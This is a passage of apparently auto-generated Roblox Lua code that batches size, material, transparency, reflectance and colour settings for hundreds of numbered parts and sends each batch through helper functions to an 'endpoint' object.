			if P[96] then resizeBatch[#resizeBatch+1] = {Part = P[96], CFrame = P[96].CFrame, Size = Vector3.new(0.7807660102844238,1.7423360347747803,0.8535981178283691)} end
			if P[546] then resizeBatch[#resizeBatch+1] = {Part = P[546], CFrame = P[546].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[724] then resizeBatch[#resizeBatch+1] = {Part = P[724], CFrame = P[724].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
			if P[482] then resizeBatch[#resizeBatch+1] = {Part = P[482], CFrame = P[482].CFrame, Size = Vector3.new(4.005730628967285,0.18631310760974884,3.6331052780151367)} end
			if P[603] then resizeBatch[#resizeBatch+1] = {Part = P[603], CFrame = P[603].CFrame, Size = Vector3.new(6.975001335144043,1.1625001430511475,7.3625006675720215)} end
			if P[639] then resizeBatch[#resizeBatch+1] = {Part = P[639], CFrame = P[639].CFrame, Size = Vector3.new(6.975001335144043,4.262500762939453,0.38750001788139343)} end
			if P[716] then resizeBatch[#resizeBatch+1] = {Part = P[716], CFrame = P[716].CFrame, Size = Vector3.new(0.8246473670005798,0.8246473670005798,18.142240524291992)} end
			if P[265] then resizeBatch[#resizeBatch+1] = {Part = P[265], CFrame = P[265].CFrame, Size = Vector3.new(15.699999809265137,1.899999976158142,0.49999991059303284)} end
			if P[552] then resizeBatch[#resizeBatch+1] = {Part = P[552], CFrame = P[552].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[709] then resizeBatch[#resizeBatch+1] = {Part = P[709], CFrame = P[709].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[674] then resizeBatch[#resizeBatch+1] = {Part = P[674], CFrame = P[674].CFrame, Size = Vector3.new(5,1,5)} end
			if P[87] then resizeBatch[#resizeBatch+1] = {Part = P[87], CFrame = P[87].CFrame, Size = Vector3.new(0.7213894724845886,0.8200726509094238,1.2430260181427002)} end
			if P[583] then resizeBatch[#resizeBatch+1] = {Part = P[583], CFrame = P[583].CFrame, Size = Vector3.new(0.38750001788139343,4.262500762939453,7.750001430511475)} end
			if P[256] then resizeBatch[#resizeBatch+1] = {Part = P[256], CFrame = P[256].CFrame, Size = Vector3.new(0.8118550777435303,1.1605454683303833,0.9022700786590576)} end
			if P[105] then resizeBatch[#resizeBatch+1] = {Part = P[105], CFrame = P[105].CFrame, Size = Vector3.new(0.7213889956474304,1.2634233236312866,0.8535963296890259)} end
			if P[516] then resizeBatch[#resizeBatch+1] = {Part = P[516], CFrame = P[516].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[682] then resizeBatch[#resizeBatch+1] = {Part = P[682], CFrame = P[682].CFrame, Size = Vector3.new(3.9125752449035645,0.16302397847175598,3.7262632846832275)} end
			if P[485] then resizeBatch[#resizeBatch+1] = {Part = P[485], CFrame = P[485].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[564] then resizeBatch[#resizeBatch+1] = {Part = P[564], CFrame = P[564].CFrame, Size = Vector3.new(0.23289145529270172,6.008597373962402,4.331780433654785)} end
			if P[665] then resizeBatch[#resizeBatch+1] = {Part = P[665], CFrame = P[665].CFrame, Size = Vector3.new(100,1,100)} end
			if P[430] then resizeBatch[#resizeBatch+1] = {Part = P[430], CFrame = P[430].CFrame, Size = Vector3.new(0.22467593848705292,4.381180763244629,0.22467593848705292)} end
			if P[543] then resizeBatch[#resizeBatch+1] = {Part = P[543], CFrame = P[543].CFrame, Size = Vector3.new(0.23289145529270172,1.0945899486541748,0.18631310760974884)} end
			if P[662] then resizeBatch[#resizeBatch+1] = {Part = P[662], CFrame = P[662].CFrame, Size = Vector3.new(61,1,225.18780517578125)} end
			if P[659] then resizeBatch[#resizeBatch+1] = {Part = P[659], CFrame = P[659].CFrame, Size = Vector3.new(2,21.10131072998047,2)} end
			if P[591] then resizeBatch[#resizeBatch+1] = {Part = P[591], CFrame = P[591].CFrame, Size = Vector3.new(0.7750000357627869,0.38750001788139343,0.7750000357627869)} end
			if P[513] then resizeBatch[#resizeBatch+1] = {Part = P[513], CFrame = P[513].CFrame, Size = Vector3.new(4.238623142242432,6.031886100769043,4.2852020263671875)} end
			if P[454] then resizeBatch[#resizeBatch+1] = {Part = P[454], CFrame = P[454].CFrame, Size = Vector3.new(0.33701393008232117,0.22467593848705292,0.2246759682893753)} end
			if P[458] then resizeBatch[#resizeBatch+1] = {Part = P[458], CFrame = P[458].CFrame, Size = Vector3.new(0.22467593848705292,4.381180763244629,0.22467593848705292)} end
			if P[451] then resizeBatch[#resizeBatch+1] = {Part = P[451], CFrame = P[451].CFrame, Size = Vector3.new(8.650022506713867,0.22467593848705292,0.2246759682893753)} end
			if P[644] then resizeBatch[#resizeBatch+1] = {Part = P[644], CFrame = P[644].CFrame, Size = Vector3.new(70.99996185302734,1,68)} end
			batchResize(endpoint, resizeBatch)
			local materialBatch = {}
			if P[8] then materialBatch[#materialBatch+1] = {Part = P[8], Material = Enum.Material.Plastic} end
			if P[9] then materialBatch[#materialBatch+1] = {Part = P[9], Material = Enum.Material.Plastic} end
			if P[10] then materialBatch[#materialBatch+1] = {Part = P[10], Material = Enum.Material.Plastic} end
			if P[11] then materialBatch[#materialBatch+1] = {Part = P[11], Material = Enum.Material.Plastic} end
			if P[12] then materialBatch[#materialBatch+1] = {Part = P[12], Material = Enum.Material.Plastic} end
			if P[14] then materialBatch[#materialBatch+1] = {Part = P[14], Material = Enum.Material.Plastic} end
			if P[15] then materialBatch[#materialBatch+1] = {Part = P[15], Material = Enum.Material.Plastic} end
			if P[16] then materialBatch[#materialBatch+1] = {Part = P[16], Material = Enum.Material.Plastic} end
			if P[17] then materialBatch[#materialBatch+1] = {Part = P[17], Material = Enum.Material.Plastic} end
			if P[18] then materialBatch[#materialBatch+1] = {Part = P[18], Material = Enum.Material.Plastic} end
			if P[21] then materialBatch[#materialBatch+1] = {Part = P[21], Material = Enum.Material.SmoothPlastic} end
			if P[22] then materialBatch[#materialBatch+1] = {Part = P[22], Material = Enum.Material.SmoothPlastic} end
			if P[23] then materialBatch[#materialBatch+1] = {Part = P[23], Material = Enum.Material.SmoothPlastic} end
			if P[24] then materialBatch[#materialBatch+1] = {Part = P[24], Material = Enum.Material.SmoothPlastic} end
			if P[25] then materialBatch[#materialBatch+1] = {Part = P[25], Material = Enum.Material.SmoothPlastic} end
			if P[26] then materialBatch[#materialBatch+1] = {Part = P[26], Material = Enum.Material.SmoothPlastic} end
			if P[27] then materialBatch[#materialBatch+1] = {Part = P[27], Material = Enum.Material.SmoothPlastic} end
			if P[28] then materialBatch[#materialBatch+1] = {Part = P[28], Material = Enum.Material.SmoothPlastic} end
			if P[29] then materialBatch[#materialBatch+1] = {Part = P[29], Material = Enum.Material.SmoothPlastic} end
			if P[30] then materialBatch[#materialBatch+1] = {Part = P[30], Material = Enum.Material.SmoothPlastic} end
			if P[31] then materialBatch[#materialBatch+1] = {Part = P[31], Material = Enum.Material.SmoothPlastic} end
			if P[32] then materialBatch[#materialBatch+1] = {Part = P[32], Material = Enum.Material.SmoothPlastic} end
			if P[33] then materialBatch[#materialBatch+1] = {Part = P[33], Material = Enum.Material.Plastic} end
			if P[34] then materialBatch[#materialBatch+1] = {Part = P[34], Material = Enum.Material.SmoothPlastic} end
			if P[35] then materialBatch[#materialBatch+1] = {Part = P[35], Material = Enum.Material.SmoothPlastic} end
			if P[36] then materialBatch[#materialBatch+1] = {Part = P[36], Material = Enum.Material.SmoothPlastic} end
			if P[37] then materialBatch[#materialBatch+1] = {Part = P[37], Material = Enum.Material.SmoothPlastic} end
			if P[38] then materialBatch[#materialBatch+1] = {Part = P[38], Material = Enum.Material.SmoothPlastic} end
			if P[39] then materialBatch[#materialBatch+1] = {Part = P[39], Material = Enum.Material.SmoothPlastic} end
			if P[40] then materialBatch[#materialBatch+1] = {Part = P[40], Material = Enum.Material.SmoothPlastic} end
			if P[41] then materialBatch[#materialBatch+1] = {Part = P[41], Material = Enum.Material.Plastic} end
			if P[42] then materialBatch[#materialBatch+1] = {Part = P[42], Material = Enum.Material.SmoothPlastic} end
			if P[43] then materialBatch[#materialBatch+1] = {Part = P[43], Material = Enum.Material.SmoothPlastic} end
			if P[44] then materialBatch[#materialBatch+1] = {Part = P[44], Material = Enum.Material.SmoothPlastic} end
			if P[45] then materialBatch[#materialBatch+1] = {Part = P[45], Material = Enum.Material.SmoothPlastic} end
			if P[46] then materialBatch[#materialBatch+1] = {Part = P[46], Material = Enum.Material.SmoothPlastic} end
			if P[151] then materialBatch[#materialBatch+1] = {Part = P[151], Material = Enum.Material.Plastic} end
			if P[673] then materialBatch[#materialBatch+1] = {Part = P[673], Material = Enum.Material.Plastic} end
			if P[685] then materialBatch[#materialBatch+1] = {Part = P[685], Material = Enum.Material.SmoothPlastic} end
			if P[706] then materialBatch[#materialBatch+1] = {Part = P[706], Material = Enum.Material.SmoothPlastic} end
			if P[561] then materialBatch[#materialBatch+1] = {Part = P[561], Material = Enum.Material.SmoothPlastic} end
			if P[667] then materialBatch[#materialBatch+1] = {Part = P[667], Material = Enum.Material.Plastic} end
			if P[675] then materialBatch[#materialBatch+1] = {Part = P[675], Material = Enum.Material.Plastic} end
			if P[736] then materialBatch[#materialBatch+1] = {Part = P[736], Material = Enum.Material.Wood} end
			if P[519] then materialBatch[#materialBatch+1] = {Part = P[519], Material = Enum.Material.SmoothPlastic} end
			if P[700] then materialBatch[#materialBatch+1] = {Part = P[700], Material = Enum.Material.SmoothPlastic} end
			if P[510] then materialBatch[#materialBatch+1] = {Part = P[510], Material = Enum.Material.SmoothPlastic} end
			if P[587] then materialBatch[#materialBatch+1] = {Part = P[587], Material = Enum.Material.Plastic} end
			if P[464] then materialBatch[#materialBatch+1] = {Part = P[464], Material = Enum.Material.Wood} end
			if P[611] then materialBatch[#materialBatch+1] = {Part = P[611], Material = Enum.Material.Plastic} end
			if P[571] then materialBatch[#materialBatch+1] = {Part = P[571], Material = Enum.Material.Plastic} end
			if P[635] then materialBatch[#materialBatch+1] = {Part = P[635], Material = Enum.Material.Plastic} end
			if P[166] then materialBatch[#materialBatch+1] = {Part = P[166], Material = Enum.Material.Plastic} end
			if P[435] then materialBatch[#materialBatch+1] = {Part = P[435], Material = Enum.Material.SmoothPlastic} end
			if P[555] then materialBatch[#materialBatch+1] = {Part = P[555], Material = Enum.Material.SmoothPlastic} end
			if P[175] then materialBatch[#materialBatch+1] = {Part = P[175], Material = Enum.Material.Plastic} end
			if P[663] then materialBatch[#materialBatch+1] = {Part = P[663], Material = Enum.Material.Plastic} end
			if P[579] then materialBatch[#materialBatch+1] = {Part = P[579], Material = Enum.Material.Plastic} end
			if P[657] then materialBatch[#materialBatch+1] = {Part = P[657], Material = Enum.Material.Plastic} end
			if P[470] then materialBatch[#materialBatch+1] = {Part = P[470], Material = Enum.Material.SmoothPlastic} end
			if P[767] then materialBatch[#materialBatch+1] = {Part = P[767], Material = Enum.Material.Wood} end
			if P[491] then materialBatch[#materialBatch+1] = {Part = P[491], Material = Enum.Material.SmoothPlastic} end
			if P[607] then materialBatch[#materialBatch+1] = {Part = P[607], Material = Enum.Material.Plastic} end
			if P[631] then materialBatch[#materialBatch+1] = {Part = P[631], Material = Enum.Material.Plastic} end
			if P[770] then materialBatch[#materialBatch+1] = {Part = P[770], Material = Enum.Material.Wood} end
			if P[473] then materialBatch[#materialBatch+1] = {Part = P[473], Material = Enum.Material.SmoothPlastic} end
			if P[694] then materialBatch[#materialBatch+1] = {Part = P[694], Material = Enum.Material.SmoothPlastic} end
			if P[615] then materialBatch[#materialBatch+1] = {Part = P[615], Material = Enum.Material.Plastic} end
			if P[428] then materialBatch[#materialBatch+1] = {Part = P[428], Material = Enum.Material.Plastic} end
			if P[575] then materialBatch[#materialBatch+1] = {Part = P[575], Material = Enum.Material.Plastic} end
			if P[627] then materialBatch[#materialBatch+1] = {Part = P[627], Material = Enum.Material.Plastic} end
			if P[501] then materialBatch[#materialBatch+1] = {Part = P[501], Material = Enum.Material.SmoothPlastic} end
			if P[479] then materialBatch[#materialBatch+1] = {Part = P[479], Material = Enum.Material.SmoothPlastic} end
			if P[676] then materialBatch[#materialBatch+1] = {Part = P[676], Material = Enum.Material.Plastic} end
			if P[595] then materialBatch[#materialBatch+1] = {Part = P[595], Material = Enum.Material.Plastic} end
			if P[656] then materialBatch[#materialBatch+1] = {Part = P[656], Material = Enum.Material.Plastic} end
			if P[648] then materialBatch[#materialBatch+1] = {Part = P[648], Material = Enum.Material.Plastic} end
			if P[78] then materialBatch[#materialBatch+1] = {Part = P[78], Material = Enum.Material.Plastic} end
			if P[461] then materialBatch[#materialBatch+1] = {Part = P[461], Material = Enum.Material.SmoothPlastic} end
			if P[669] then materialBatch[#materialBatch+1] = {Part = P[669], Material = Enum.Material.Plastic} end
			if P[82] then materialBatch[#materialBatch+1] = {Part = P[82], Material = Enum.Material.Plastic} end
			if P[72] then materialBatch[#materialBatch+1] = {Part = P[72], Material = Enum.Material.Plastic} end
			if P[540] then materialBatch[#materialBatch+1] = {Part = P[540], Material = Enum.Material.Wood} end
			if P[703] then materialBatch[#materialBatch+1] = {Part = P[703], Material = Enum.Material.SmoothPlastic} end
			if P[619] then materialBatch[#materialBatch+1] = {Part = P[619], Material = Enum.Material.Plastic} end
			if P[751] then materialBatch[#materialBatch+1] = {Part = P[751], Material = Enum.Material.Wood} end
			if P[522] then materialBatch[#materialBatch+1] = {Part = P[522], Material = Enum.Material.SmoothPlastic} end
			if P[204] then materialBatch[#materialBatch+1] = {Part = P[204], Material = Enum.Material.Plastic} end
			if P[114] then materialBatch[#materialBatch+1] = {Part = P[114], Material = Enum.Material.Plastic} end
			if P[525] then materialBatch[#materialBatch+1] = {Part = P[525], Material = Enum.Material.SmoothPlastic} end
			if P[270] then materialBatch[#materialBatch+1] = {Part = P[270], Material = Enum.Material.Plastic} end
			if P[664] then materialBatch[#materialBatch+1] = {Part = P[664], Material = Enum.Material.Plastic} end
			if P[745] then materialBatch[#materialBatch+1] = {Part = P[745], Material = Enum.Material.Wood} end
			if P[670] then materialBatch[#materialBatch+1] = {Part = P[670], Material = Enum.Material.Plastic} end
			if P[732] then materialBatch[#materialBatch+1] = {Part = P[732], Material = Enum.Material.Wood} end
			if P[271] then materialBatch[#materialBatch+1] = {Part = P[271], Material = Enum.Material.Plastic} end
			if P[532] then materialBatch[#materialBatch+1] = {Part = P[532], Material = Enum.Material.Plastic} end
			if P[671] then materialBatch[#materialBatch+1] = {Part = P[671], Material = Enum.Material.Plastic} end
			if P[268] then materialBatch[#materialBatch+1] = {Part = P[268], Material = Enum.Material.Neon} end
			if P[558] then materialBatch[#materialBatch+1] = {Part = P[558], Material = Enum.Material.SmoothPlastic} end
			if P[567] then materialBatch[#materialBatch+1] = {Part = P[567], Material = Enum.Material.SmoothPlastic} end
			if P[697] then materialBatch[#materialBatch+1] = {Part = P[697], Material = Enum.Material.SmoothPlastic} end
			if P[691] then materialBatch[#materialBatch+1] = {Part = P[691], Material = Enum.Material.SmoothPlastic} end
			if P[720] then materialBatch[#materialBatch+1] = {Part = P[720], Material = Enum.Material.Wood} end
			if P[476] then materialBatch[#materialBatch+1] = {Part = P[476], Material = Enum.Material.SmoothPlastic} end
			if P[653] then materialBatch[#materialBatch+1] = {Part = P[653], Material = Enum.Material.Plastic} end
			if P[528] then materialBatch[#materialBatch+1] = {Part = P[528], Material = Enum.Material.SmoothPlastic} end
			if P[677] then materialBatch[#materialBatch+1] = {Part = P[677], Material = Enum.Material.Plastic} end
			if P[650] then materialBatch[#materialBatch+1] = {Part = P[650], Material = Enum.Material.Plastic} end
			if P[661] then materialBatch[#materialBatch+1] = {Part = P[661], Material = Enum.Material.Plastic} end
			if P[599] then materialBatch[#materialBatch+1] = {Part = P[599], Material = Enum.Material.Plastic} end
			if P[498] then materialBatch[#materialBatch+1] = {Part = P[498], Material = Enum.Material.SmoothPlastic} end
			if P[186] then materialBatch[#materialBatch+1] = {Part = P[186], Material = Enum.Material.Plastic} end
			if P[504] then materialBatch[#materialBatch+1] = {Part = P[504], Material = Enum.Material.SmoothPlastic} end
			if P[646] then materialBatch[#materialBatch+1] = {Part = P[646], Material = Enum.Material.Plastic} end
			if P[132] then materialBatch[#materialBatch+1] = {Part = P[132], Material = Enum.Material.Plastic} end
			if P[623] then materialBatch[#materialBatch+1] = {Part = P[623], Material = Enum.Material.Plastic} end
			if P[488] then materialBatch[#materialBatch+1] = {Part = P[488], Material = Enum.Material.SmoothPlastic} end
			if P[157] then materialBatch[#materialBatch+1] = {Part = P[157], Material = Enum.Material.Plastic} end
			if P[507] then materialBatch[#materialBatch+1] = {Part = P[507], Material = Enum.Material.SmoothPlastic} end
			if P[247] then materialBatch[#materialBatch+1] = {Part = P[247], Material = Enum.Material.Plastic} end
			if P[660] then materialBatch[#materialBatch+1] = {Part = P[660], Material = Enum.Material.Plastic} end
			if P[672] then materialBatch[#materialBatch+1] = {Part = P[672], Material = Enum.Material.Plastic} end
			if P[456] then materialBatch[#materialBatch+1] = {Part = P[456], Material = Enum.Material.SmoothPlastic} end
			if P[467] then materialBatch[#materialBatch+1] = {Part = P[467], Material = Enum.Material.SmoothPlastic} end
			if P[123] then materialBatch[#materialBatch+1] = {Part = P[123], Material = Enum.Material.Plastic} end
			if P[773] then materialBatch[#materialBatch+1] = {Part = P[773], Material = Enum.Material.Wood} end
			if P[652] then materialBatch[#materialBatch+1] = {Part = P[652], Material = Enum.Material.Plastic} end
			if P[655] then materialBatch[#materialBatch+1] = {Part = P[655], Material = Enum.Material.Plastic} end
			if P[688] then materialBatch[#materialBatch+1] = {Part = P[688], Material = Enum.Material.Wood} end
			if P[761] then materialBatch[#materialBatch+1] = {Part = P[761], Material = Enum.Material.Wood} end
			if P[755] then materialBatch[#materialBatch+1] = {Part = P[755], Material = Enum.Material.Wood} end
			if P[549] then materialBatch[#materialBatch+1] = {Part = P[549], Material = Enum.Material.SmoothPlastic} end
			if P[741] then materialBatch[#materialBatch+1] = {Part = P[741], Material = Enum.Material.Wood} end
			if P[494] then materialBatch[#materialBatch+1] = {Part = P[494], Material = Enum.Material.SmoothPlastic} end
			if P[433] then materialBatch[#materialBatch+1] = {Part = P[433], Material = Enum.Material.SmoothPlastic} end
			if P[238] then materialBatch[#materialBatch+1] = {Part = P[238], Material = Enum.Material.Plastic} end
			if P[537] then materialBatch[#materialBatch+1] = {Part = P[537], Material = Enum.Material.SmoothPlastic} end
			if P[729] then materialBatch[#materialBatch+1] = {Part = P[729], Material = Enum.Material.Wood} end
			if P[227] then materialBatch[#materialBatch+1] = {Part = P[227], Material = Enum.Material.Plastic} end
			if P[712] then materialBatch[#materialBatch+1] = {Part = P[712], Material = Enum.Material.SmoothPlastic} end
			if P[96] then materialBatch[#materialBatch+1] = {Part = P[96], Material = Enum.Material.Plastic} end
			if P[546] then materialBatch[#materialBatch+1] = {Part = P[546], Material = Enum.Material.SmoothPlastic} end
			if P[724] then materialBatch[#materialBatch+1] = {Part = P[724], Material = Enum.Material.Wood} end
			if P[482] then materialBatch[#materialBatch+1] = {Part = P[482], Material = Enum.Material.SmoothPlastic} end
			if P[603] then materialBatch[#materialBatch+1] = {Part = P[603], Material = Enum.Material.Plastic} end
			if P[639] then materialBatch[#materialBatch+1] = {Part = P[639], Material = Enum.Material.Plastic} end
			if P[716] then materialBatch[#materialBatch+1] = {Part = P[716], Material = Enum.Material.Wood} end
			if P[265] then materialBatch[#materialBatch+1] = {Part = P[265], Material = Enum.Material.Plastic} end
			if P[552] then materialBatch[#materialBatch+1] = {Part = P[552], Material = Enum.Material.SmoothPlastic} end
			if P[709] then materialBatch[#materialBatch+1] = {Part = P[709], Material = Enum.Material.SmoothPlastic} end
			if P[674] then materialBatch[#materialBatch+1] = {Part = P[674], Material = Enum.Material.Plastic} end
			if P[87] then materialBatch[#materialBatch+1] = {Part = P[87], Material = Enum.Material.Plastic} end
			if P[583] then materialBatch[#materialBatch+1] = {Part = P[583], Material = Enum.Material.Plastic} end
			if P[256] then materialBatch[#materialBatch+1] = {Part = P[256], Material = Enum.Material.Plastic} end
			if P[105] then materialBatch[#materialBatch+1] = {Part = P[105], Material = Enum.Material.Plastic} end
			if P[516] then materialBatch[#materialBatch+1] = {Part = P[516], Material = Enum.Material.SmoothPlastic} end
			if P[682] then materialBatch[#materialBatch+1] = {Part = P[682], Material = Enum.Material.SmoothPlastic} end
			if P[485] then materialBatch[#materialBatch+1] = {Part = P[485], Material = Enum.Material.SmoothPlastic} end
			if P[564] then materialBatch[#materialBatch+1] = {Part = P[564], Material = Enum.Material.SmoothPlastic} end
			if P[665] then materialBatch[#materialBatch+1] = {Part = P[665], Material = Enum.Material.Plastic} end
			if P[430] then materialBatch[#materialBatch+1] = {Part = P[430], Material = Enum.Material.SmoothPlastic} end
			if P[543] then materialBatch[#materialBatch+1] = {Part = P[543], Material = Enum.Material.SmoothPlastic} end
			if P[662] then materialBatch[#materialBatch+1] = {Part = P[662], Material = Enum.Material.Plastic} end
			if P[659] then materialBatch[#materialBatch+1] = {Part = P[659], Material = Enum.Material.Plastic} end
			if P[591] then materialBatch[#materialBatch+1] = {Part = P[591], Material = Enum.Material.Plastic} end
			if P[513] then materialBatch[#materialBatch+1] = {Part = P[513], Material = Enum.Material.Wood} end
			if P[454] then materialBatch[#materialBatch+1] = {Part = P[454], Material = Enum.Material.SmoothPlastic} end
			if P[458] then materialBatch[#materialBatch+1] = {Part = P[458], Material = Enum.Material.SmoothPlastic} end
			if P[451] then materialBatch[#materialBatch+1] = {Part = P[451], Material = Enum.Material.SmoothPlastic} end
			if P[644] then materialBatch[#materialBatch+1] = {Part = P[644], Material = Enum.Material.Plastic} end
			batchMaterial(endpoint, materialBatch)
			local transparencyBatch = {}
			if P[33] then transparencyBatch[#transparencyBatch+1] = {Part = P[33], Transparency = 1} end
			if P[41] then transparencyBatch[#transparencyBatch+1] = {Part = P[41], Transparency = 1} end
			if P[151] then transparencyBatch[#transparencyBatch+1] = {Part = P[151], Transparency = 1} end
			if P[673] then transparencyBatch[#transparencyBatch+1] = {Part = P[673], Transparency = 1} end
			if P[587] then transparencyBatch[#transparencyBatch+1] = {Part = P[587], Transparency = 0.30000001192092896} end
			if P[663] then transparencyBatch[#transparencyBatch+1] = {Part = P[663], Transparency = 1} end
			if P[670] then transparencyBatch[#transparencyBatch+1] = {Part = P[670], Transparency = 1} end
			if P[271] then transparencyBatch[#transparencyBatch+1] = {Part = P[271], Transparency = 1} end
			if P[671] then transparencyBatch[#transparencyBatch+1] = {Part = P[671], Transparency = 1} end
			if P[268] then transparencyBatch[#transparencyBatch+1] = {Part = P[268], Transparency = 0.20000000298023224} end
			if P[672] then transparencyBatch[#transparencyBatch+1] = {Part = P[672], Transparency = 1} end
			if P[674] then transparencyBatch[#transparencyBatch+1] = {Part = P[674], Transparency = 1} end
			batchMaterial(endpoint, transparencyBatch)
			local reflectanceBatch = {}
			if P[435] then reflectanceBatch[#reflectanceBatch+1] = {Part = P[435], Reflectance = 0.11999999731779099} end
			if P[595] then reflectanceBatch[#reflectanceBatch+1] = {Part = P[595], Reflectance = 0.30000001192092896} end
			batchMaterial(endpoint, reflectanceBatch)
			local colorBatch = {}
			if P[8] then colorBatch[#colorBatch+1] = {Part = P[8], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[9] then colorBatch[#colorBatch+1] = {Part = P[9], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[10] then colorBatch[#colorBatch+1] = {Part = P[10], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[11] then colorBatch[#colorBatch+1] = {Part = P[11], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[12] then colorBatch[#colorBatch+1] = {Part = P[12], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[14] then colorBatch[#colorBatch+1] = {Part = P[14], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[15] then colorBatch[#colorBatch+1] = {Part = P[15], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[16] then colorBatch[#colorBatch+1] = {Part = P[16], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[17] then colorBatch[#colorBatch+1] = {Part = P[17], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[18] then colorBatch[#colorBatch+1] = {Part = P[18], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[21] then colorBatch[#colorBatch+1] = {Part = P[21], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[22] then colorBatch[#colorBatch+1] = {Part = P[22], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[23] then colorBatch[#colorBatch+1] = {Part = P[23], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[24] then colorBatch[#colorBatch+1] = {Part = P[24], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[25] then colorBatch[#colorBatch+1] = {Part = P[25], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[26] then colorBatch[#colorBatch+1] = {Part = P[26], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[27] then colorBatch[#colorBatch+1] = {Part = P[27], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[28] then colorBatch[#colorBatch+1] = {Part = P[28], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[29] then colorBatch[#colorBatch+1] = {Part = P[29], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[30] then colorBatch[#colorBatch+1] = {Part = P[30], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[31] then colorBatch[#colorBatch+1] = {Part = P[31], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[32] then colorBatch[#colorBatch+1] = {Part = P[32], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[33] then colorBatch[#colorBatch+1] = {Part = P[33], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[34] then colorBatch[#colorBatch+1] = {Part = P[34], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[35] then colorBatch[#colorBatch+1] = {Part = P[35], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[36] then colorBatch[#colorBatch+1] = {Part = P[36], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[37] then colorBatch[#colorBatch+1] = {Part = P[37], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[38] then colorBatch[#colorBatch+1] = {Part = P[38], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[39] then colorBatch[#colorBatch+1] = {Part = P[39], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[40] then colorBatch[#colorBatch+1] = {Part = P[40], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[41] then colorBatch[#colorBatch+1] = {Part = P[41], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[42] then colorBatch[#colorBatch+1] = {Part = P[42], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[43] then colorBatch[#colorBatch+1] = {Part = P[43], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[44] then colorBatch[#colorBatch+1] = {Part = P[44], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[45] then colorBatch[#colorBatch+1] = {Part = P[45], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[46] then colorBatch[#colorBatch+1] = {Part = P[46], Color = Color3.new(1,1,1), UnionColoring = false} end
			if P[151] then colorBatch[#colorBatch+1] = {Part = P[151], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[673] then colorBatch[#colorBatch+1] = {Part = P[673], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[685] then colorBatch[#colorBatch+1] = {Part = P[685], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[706] then colorBatch[#colorBatch+1] = {Part = P[706], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[561] then colorBatch[#colorBatch+1] = {Part = P[561], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[667] then colorBatch[#colorBatch+1] = {Part = P[667], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[675] then colorBatch[#colorBatch+1] = {Part = P[675], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[736] then colorBatch[#colorBatch+1] = {Part = P[736], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[519] then colorBatch[#colorBatch+1] = {Part = P[519], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[700] then colorBatch[#colorBatch+1] = {Part = P[700], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[510] then colorBatch[#colorBatch+1] = {Part = P[510], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
